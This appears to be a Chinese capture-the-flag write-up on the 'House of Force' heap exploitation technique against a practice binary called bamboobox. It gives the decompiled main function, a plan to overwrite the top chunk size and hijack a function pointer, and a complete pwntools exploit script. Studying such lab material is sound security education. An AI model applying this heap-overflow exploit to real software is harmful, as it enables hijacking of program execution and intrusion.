64位程序 #House Of Force
程序逻辑
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 _QWORD *v3; // [rsp+8h] [rbp-18h] 4 char buf; // [rsp+10h] [rbp-10h] 5 unsigned __int64 v5; // [rsp+18h] [rbp-8h] 6 7 v5 = __readfsqword(0x28u); 8 setvbuf(stdout, 0LL, 2, 0LL); 9 setvbuf(stdin, 0LL, 2, 0LL); 10 v3 = malloc(0x10uLL); 11 *v3 = hello_message; 12 v3[1] = goodbye_message; 13 ((void (__fastcall *)(signed __int64, _QWORD))*v3)(16LL, 0LL); 14 while ( 1 ) 15 { 16 menu(); 17 read(0, &buf, 8uLL); 18 switch ( atoi(&buf) ) 19 { 20 case 1: 21 show_item(); 22 break; 23 case 2: 24 add_item(); 25 break; 26 case 3: 27 change_item(); 28 break; 29 case 4: 30 remove_item(); 31 break; 32 case 5: 33 ((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf); 34 exit(0); 35 return; 36 default: 37 puts("invaild choice!!!"); 38 break; 39 } 40 } 41 }
利用思路
由于程序中有个 magic 函数,所以我们的核心目的是覆盖某个指针为 magic 函数的指针。这里,程序在开始的时候申请了一块内存来存储两个函数指针,hello_message 用于程序开始时使用,goodbye_message 用于在程序结束时使用,所以我们可以利用覆盖 goodbye_message 来控制程序执行流。具体思路如下
- 添加物品,利用堆溢出漏洞覆盖 top chunk 的大小为 -1,即 64 位最大值。
- 利用 house of force 技巧,分配 chunk 至堆的基地址。
- 覆盖 goodbye_message 为 magic 函数地址来控制程序执行流
expolit
1 from pwn import * 2 sh=process('./bamboobox') 3 elf=ELF('./bamboobox') 4 5 def additem(length,name): 6 sh.recvuntil(':') 7 sh.sendline('2') 8 sh.recvuntil(':') 9 sh.sendline(str(length)) 10 sh.recvuntil(':') 11 sh.sendline(name) 12 13 def modify(idx,length,name): 14 sh.recvuntil(':') 15 sh.sendline('3') 16 sh.recvuntil(':') 17 sh.sendline(str(idx)) 18 sh.recvuntil(':') 19 sh.sendline(str(length)) 20 sh.recvuntil(':') 21 sh.sendline(name) 22 23 def remove(idx): 24 sh.recvuntil(':') 25 sh.sendline('4') 26 sh.recvuntil(':') 27 sh.sendline(str(idx)) 28 29 def show(idx): 30 sh.recvuntil(':') 31 sh.sendline('1') 32 33 magic=0x400d49 34 additem(0x30,'aaaa') 35 payload=0x30*'a' 36 payload+='a'*8+p64(0xffffffffffffffff) 37 modify(0,0x40,payload) 38 off_to_heap_base=-(0x40+0x20) 39 malloc_size=off_to_heap_base-0x10 40 additem(malloc_size,'aaaa') 41 additem(0x10,p64(magic)*2) 42 sh.sendline('5') 43 sh.interactive()